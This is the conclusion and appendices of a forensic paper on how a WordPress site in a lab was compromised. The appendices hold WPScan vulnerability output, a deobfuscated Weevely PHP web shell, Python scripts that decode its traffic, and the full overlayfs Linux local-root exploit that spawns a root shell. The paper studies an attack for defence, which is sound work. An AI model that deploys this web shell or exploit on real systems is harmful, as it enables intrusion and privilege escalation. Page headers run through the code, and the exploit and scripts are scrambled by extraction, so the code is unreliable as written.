In this paper, a realistic website compromise was looked at, demonstrating that a great deal of information can be gathered only from network analysis. Based on the artifacts captured, it was shown how the command and control channel could be analyzed, leading to its decryption. This lead to identifying the actions taken by the attacker, and degree that the system was compromised. Using known and controlled scenarios are a great way for an analyst to improve their skills, or to focus on a specific set of tools. By continually identifying weaknesses in skills and isolating scenarios around them, you will be able to focus on measured improvement.
4. Works Cited


Kiel Wadner, wadnerk@gmail.com
http://lh.2xlibre.net/locale/xh_ZA/

Kiel Wadner, wadnerk@gmail.com
5. Appendix A

The full output from WPScan targeting the vulnerable WordPress server.

[+] URL: http://192.168.118.138/wordpress/

[!] The WordPress 'http://192.168.118.138/wordpress/readme.html' file exists exposing a version number

[!] A wp-config.php backup file has been found in: 'http://192.168.118.138/wordpress/wp-config.php~'

[*] Interesting header: SERVER: Apache/2.4.7 (Ubuntu)
[*] Interesting header: X-POWERED-BY: PHP/5.5.9-1ubuntu4


[*] WordPress version 4.2 identified from meta generator

[!] 2 vulnerabilities identified from the version number

[!] Title: WordPress <= 4.2 - Unauthenticated Stored Cross-Site Scripting (XSS)
Reference: https://wpvulndb.com/vulnerabilities/7945
Reference: http://klikki.fi/adv/wordpress2.html
Reference: http://packetstormsecurity.com/files/131644/
Reference: http://osvdb.org/show/osvdb/121320
Reference: https://www.exploit-db.com/exploits/36844/
[i] Fixed in: 4.2.1

[!] Title: WordPress 4.1-4.2.1 - Genericons Cross-Site Scripting (XSS)
Reference: https://wpvulndb.com/vulnerabilities/7979
Reference: https://codex.wordpress.org/Version_4.2.2
[i] Fixed in: 4.2.2

[*] WordPress theme in use: twentyfifteen - v1.1

[*] Name: twentyfifteen - v1.1
| Location: http://192.168.118.138/wordpress/wp-content/themes/twentyfifteen/
| Style URL: http://192.168.118.138/wordpress/wp-content/themes/twentyfifteen/style.css
| Theme Name: Twenty Fifteen
| Theme URI: https://wordpress.org/themes/twentyfifteen/
| Description: Our 2015 default theme is clean, blog-focused, and designed for clarity. Twenty Fifteen’s simple,...
| Author: the WordPress team
| Author URI: https://wordpress.org/
[!] Title: Twenty Fifteen Theme <= 1.1 - DOM Cross-Site Scripting (XSS)
Reference: https://wpvulndb.com/vulnerabilities/7965
Reference: http://packetstormsecurity.com/files/131802/
Reference: http://seclists.org/fulldisclosure/2015/May/41
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-3429
[i] Fixed in: 1.2

[*] Enumerating plugins from passive detection ...
| 2 plugins found:

[*] Name: contus-video-gallery - v2.7

[!] Title: Wordpress Video Gallery <= 2.7 - SQL Injection
Reference: https://wpvulndb.com/vulnerabilities/7793
Reference: http://packetstormsecurity.com/files/130871/
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2065

Kiel Wadner, wadnerk@gmail.com
A Network Analysis of a Website Compromise

Kiel Wadner, wadnerk@gmail.com

Reference: http://osvdb.org/show/osvdb/118419
Reference: https://www.exploit-db.com/exploits/36058/

[!] Title: WordPress Video Gallery <= 2.8 - Multiple Cross-Site Request Forgery (CSRF)
Reference: https://wpvulndb.com/vulnerabilities/7887
Reference: https://www.exploit-db.com/exploits/36610/

[!] Title: WordPress Video Gallery <= 2.8 - SQL Injection
Reference: https://wpvulndb.com/vulnerabilities/7899
Reference: https://plugins.trac.wordpress.org/changeset/1129320/contus-video-gallery
Reference: http://packetstormsecurity.com/files/131418/

[!] Title: WordPress Video Gallery <= 2.8 - Unprotected Mail Page
Reference: https://wpvulndb.com/vulnerabilities/8002
Reference: http://www.homelab.it/index.php/2015/05/22/wordpress-video-gallery-2.8-unprotected-mail-page/
Reference: http://packetstormsecurity.com/files/132015/

[*] Name: website-contact-form-with-file-upload - v1.3.4

[!] Title: N-Media Website Contact Form with File Upload <= 1.3.4 - Arbitrary File Upload
Reference: https://wpvulndb.com/vulnerabilities/7896
Reference: http://www.homelab.it/index.php/2015/04/12/wordpress-n-media-website-contact-form-shell-upload/
Reference: http://packetstormsecurity.com/files/131413/
Reference: http://packetstormsecurity.com/files/131514/
Reference: https://www.rapid7.com/db/modules/exploit/unix/webapp/wp_nmediaweb-site_file_upload
Reference: https://www.exploit-db.com/exploits/36738/

[!] Fixed in: 1.4

[!] Title: N-Media Website Contact Form with File Upload <= 1.5 - Local File Inclusion
Reference: https://wpvulndb.com/vulnerabilities/8024
Reference: https://www.exploit-db.com/exploits/36952/

[!] Fixed in: 1.6

[*] Requests Done: 75
[*] Memory used: 2.812 MB
[*] Elapsed time: 00:00:03

Kiel Wadner, wadnerk@gmail.com
6. Appendix B

Deobfuscated PHP agent for Weevely. The code formatting was cleaned up, as well as renaming variables and functions to make it easier to understand.

```php
<?php
$key_part_one = "5f4d";
$key_part_two = "cc3b";

/* This function is used to obfuscate the raw bytes of the request and the response for the web shell. It operates as an XOR function on each byte. The XOR key is the concat of the two key parts at the top of the script. */
function xor_obfuscation($data_bytes, $key)
{
    $key_len = strlen($key);
    $data_len = strlen($data_bytes);
    $output = "";

    /* Cycle through the key bytes, xor'ing against against the data */
    for ($i = 0; $i < $data_len;)
    {
        for ($kindex = 0; ($kindex < $key_len && $i < $data_len); $kindex++, $i++)
            $output .= $data_bytes{$i} ^ $key{$kindex};
    }

    return $output;
}

$referer = @$_SERVER["HTTP_REFERER"];
$accept_language = @$_SERVER["HTTP_ACCEPT_LANGUAGE"]; /* The webshell requires there to be both a referer and an accept-language header in the request. */
if ($referer && $accept_language) {
    /* Build an array of the query string values that are part of the referer string. */
    $u = parse_url($referer);
    parse_str($u["query"], $referer_query_params);
    $referer_query_params = array_values($referer_query_params);

    /* Extract the desired language match fields */
    preg_match_all("/([\w])\[\w\-]+(?:;q=0\.(\[d\]))?,?/", $accept_language, $lang_matches);

    /* Continue only if there were query string parameters of the referer, and the correct accept language format */
    if ($referer_query_params && $lang_matches) {
        @session_start();
        $sess = & $_SESSION;

        /* Build Session ID */
        $session_id = $lang_matches[1][0] . $lang_matches[1][1];

        /* Build Header and Footer */
        $data_header = strtolower(substr(md5($session_id . $key_part_one), 0, 3));
        $data_footer = strtolower(substr(md5($session_id . $key_part_two), 0, 3));

        /* Build the command to execute from the referer query parameters */
        $cmd = "";
        for ($z = 1; $z < count($lang_matches[1]); $z++)
            $cmd.= $referer_query_params[2][[$z]];
    }

    Kiel Wadner, wadnerk@gmail.com
```
if (strpos($cmd, $data_header) === 0) {
    $sess[$session_id] = "";
    $cmd = substr($cmd, 3);
}

if (array_key_exists($session_id, $sess)) {
    $sess[$session_id] .= $cmd;
    $e =strpos($sess[$session_id], $data_footer);
    if ($e) {
        $key = $key_part_one . $key_part_two;
        ob_start();

        /*
         1. Regular expression replace
         2. Base64 decode values
         3. De-obfuscate raw bytes
         4. Decompress via GZip
         5. Execute the PHP command via the eval() statement
         */
        @eval(@gzuncompress(@xor_obfuscation(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), substr($sess[$session_id], 0, $e))))) , $key));
        $output = ob_get_contents();
        ob_end_clean();

        /*
         Results from the command are saved in $output.
         1. GZip compress the results
         2. Obfuscate the results raw bytes
         3. Base64 encode the output and store in $data
         */
        $data = base64_encode(xor_obfuscation(gzcompress($output) , $key));

        /* A print statement at the end indicates this is the value returned in the request
        response.
        This structure of <val>text</val> is seen in the network analysis. This value comes
        from the concatenation of two values at the top and will always be "5f4dcc3b" for this
        script.
        */
        print ("<$key>$data</$key>");
        @session_destroy();
    }

}
7. Appendix C

A Python script to decode the response from Weevely. Requires changing the
shared_key variable and the input list in encoded_result.

```python
import zlib
import hashlib
import base64
import itertools

shared_key = '5f4dcc3b'
encoded_result = [
    'TfppqVjt8VI5Y+T9/6ehUZ2vZMC9477jPt5dJk0PC9BuHEn2aXuDRQt67I+rW4PTkbCLFCIU5b06iUY6yPN61Vpk63+mbqw7XPfgMSi1T1x2f8peZ5vRY2t9qD1Pe6sEPAuWyGKckp0b6q17nFwE2Dhc7s7mrA3IY750trUQ7q5TbuAOZA=='
]

def decrypt(input_data):
    return zlib.decompress(base64.b64decode(input_data) ^ shared_key)

def string_xor(input_data, shared_key):
    result = ''
    for a, b in zip(input_data, itertools.cycle(shared_key)):
        result += chr(ord(a) ^ ord(b))
    return result

def decrypt_command(input_data):
    command = zlib.decompress(string_xor(base64.urlsafe_b64decode(input_data), shared_key))
    return command

indx = 0
for d in encoded_result:
    indx += 1
    print('--- Result #{0} --'.format(indx))
    print(decrypt_command(d))
```

Kiel Wadner, wadnerk@gmail.com
8. Appendix D

A script to decode the commands sent to the Weevely agent. It is expecting an input file created by `tshark` with the command found in Section 2.6.

```python
import re
import urlparse
from hashlib import md5
import zlib
import hashlib
import base64
import itertools
debug = False
key = '5f4dcc3b'
tshark_output = './console_out/encoded_commands.txt'

def string_xor(input_data, shared_key):
    result = ''
    for a, b in zip(input_data, itertools.cycle(shared_key)):
        result += chr(ord(a) ^ ord(b))
    return result

def decrypt(input_data):
    need_padding = 4 - len(input_data) % 4
    if need_padding:
        input_data += '=' * need_padding
    return zlib.decompress(string_xor(base64.urlsafe_b64decode(input_data), key))

try:
    cmd_file = open(tshark_output)
    encoded_command = ''
    last_session = ''
    cmd_count = 0
    for line in cmd_file.readlines():
        line = line.strip()
        if len(line) == 0:
            continue
        headers = line.split('t')
        if len(headers) == 0:
            continue
        # headers[0] = frame.time_relative
        # headers[1] = http.accept_language
        # headers[2] = http.referer
        lang = headers[1].split(';')
        query_offsets = list()  # The indexes into the
        for index, parts in enumerate(lang):
            # parts ex: ['is-IS,eo', 'q=0.5,el', 'q=0.7,eo', 'q=0.8']
            if index == 0:
                sess_parts = lang[0].split(',')
                session_id = sess_parts[0][0] + sess_parts[1][0]
            else:
                n = re.match('q=0.(d)', parts)
                query_offsets.append(int(n.group(1)))

        if session_id != last_session:
            # This is a new session, restart building
```

Kiel Wadner, wadnerk@gmail.com
encoded_command = ''
last_session = session_id

# encoded data
q = headers[2]
q = urlparse.urlsplit(q)
query_parameters = q.query.split('&')

# Extract out the query string values
query_values = list()
for q in query_parameters:
    j = q.split('=

    if debug: print(j)
    query_values.append(j[1])

if debug: print(query_values)

# Build command from parts in query string
for index in query_offsets:
    encoded_command += query_values[index]

# Calculate Header and Footers
header = md5(session_id + key[:4]).hexdigest()[:3]
footer = md5(session_id + key[4:]).hexdigest()[:3]

if debug:
    print("Session ID: {0}".format(session_id))
    print("Header: {0}".format(header))
    print("Footer: {0}".format(footer))
    print("Partial Command: " + encoded_command)

# Find text between header and footer
start = encoded_command.find(header) + 3
end = encoded_command.find(footer)
if end > 0: # Found footer
    enc_cmd = encoded_command[start:end]
    if debug: print("Without H/F: " + enc_cmd)
    cmd_count += 1
    print("Time Relative: {0}".format(headers[0]))
    print(decrypt(enc_cmd) + "\n")
finally:
    print("Number of commands: {0}".format(cmd_count))
cmd_file.close()
9. Appendix E

The privilege escalation exploit used to get root access. (source: https://www.exploit-db.com/exploits/37292/).

/*
 * Exploit Title: ofs.c - overlayfs local root in ubuntu
 * Date: 2015-06-15
 * Exploit Author: rebel
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <signal.h>
#include <fcntl.h>

Kiel Wadner, wadnerk@gmail.com
A Network Analysis of a Website Compromise

Kiel Wadner, wadnerk@gmail.com

40

#include <string.h>
#include <linux/sched.h>

#define LIB "#include <unistd.h>

uid_t(*_real_getuid) (void);
char
path[128];

uid_t
getuid(void)
{
    _real_getuid = (uid_t(*)(void)) dlsym((void *) -1, "getuid");
    readlink("/proc/self/exe", (char *) &path, 128);
    if(geteuid() == 0 && !strcmp(path, "/bin/su") ) {
        unlink("/etc/ld.so.preload");
        setresuid(0, 0, 0);
        setresgid(0, 0, 0);
        execle("/bin/sh", "sh", "-i", NULL, NULL);
        return _real_getuid();
    }

    static char child_stack[1024*1024];
    static int child_exec(void *stuff)
    {
        char *file;
        system("rm -rf /tmp/ns_sploit");
        mkdir("/tmp/ns_sploit", 0777);
        mkdir("/tmp/ns_sploit/work", 0777);
        mkdir("/tmp/ns_sploit/upper",0777);
        mkdir("/tmp/ns_sploit/o",0777);
        fprintf(stderr,"mount #1\n");
        if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) {
            fprintf(stderr, "no FS_USERSNS_MOUNT for overlayfs on this kernel\n");
            exit(-1);
        } else file = ".access";
        chmod("/tmp/ns_sploit/work/work",0777);
    }
    chdir("/tmp/ns_sploit/o");
    rename(file,"ld.so.preload");

    chdir("/");
    umount("/tmp/ns_sploit/o");
    fprintf(stderr,"mount #2\n");
    if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) {
        if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) {
            fprintf(stderr, "no FS_USERSNS_MOUNT for overlayfs on this kernel\n");
            exit(-1);
        } else file = "ns_last_pid";
    } else file = "ns_last_pid";
    chmod("/tmp/ns_sploit/o/ld.so.preload",0777);
    umount("/tmp/ns_sploit/o");
}

int main(int argc, char **argv)
{
    int status, fd, lib;
    pid_t wrapper, init;
    int clone_flags = CLONE_NEWNS | SIGCHLD;
    fprintf(stderr,"spawning threads\n");

    Kiel Wadner, wadnerk@gmail.com
A Network Analysis of a Website Compromise  
Kiel Wadner, wadnerk@gmail.com  

```c
if((wrapper = fork()) == 0) {
    if(unshare(CLONE_NEWUSER) != 0)
        fprintf(stderr, "failed to create new user namespace\n");

    if((init = fork()) == 0) {
        pid_t pid =
            clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
        if(pid < 0) {
            fprintf(stderr, "failed to create new mount namespace\n");
            exit(-1);
        }
        waitpid(pid, &status, 0);
    }
    waitpid(init, &status, 0);
    return 0;
}

usleep(300000);
wait(NULL);
fprintf(stderr,"child threads done\n");
fd = open("/etc/ld.so.preload",O_WRONLY);
if(fd == -1) {
    fprintf(stderr,"exploit failed\n");
    exit(-1);
}

fprintf(stderr,"/etc/ld.so.preload created\n");
fprintf(stderr,"creating shared library\n");
lib = open("/tmp/of5-lib.c",O_CREAT|O_WRONLY,0777);
write(lib,LIB,strlen(LIB));
close(lib);
lib = system("gcc -fPIC -shared -o /tmp/of5-lib.so /tmp/of5-lib.c -ldl -w");
if(lib != 0) {
    fprintf(stderr,"couldn't create dynamic library\n");
    exit(-1);
}
write(fd,"/tmp/of5-lib.so\n",16);
close(fd);
system("rm -rf /tmp/ns_sploit /tmp/of5-lib.c");
execl("/bin/su","su",NULL);
```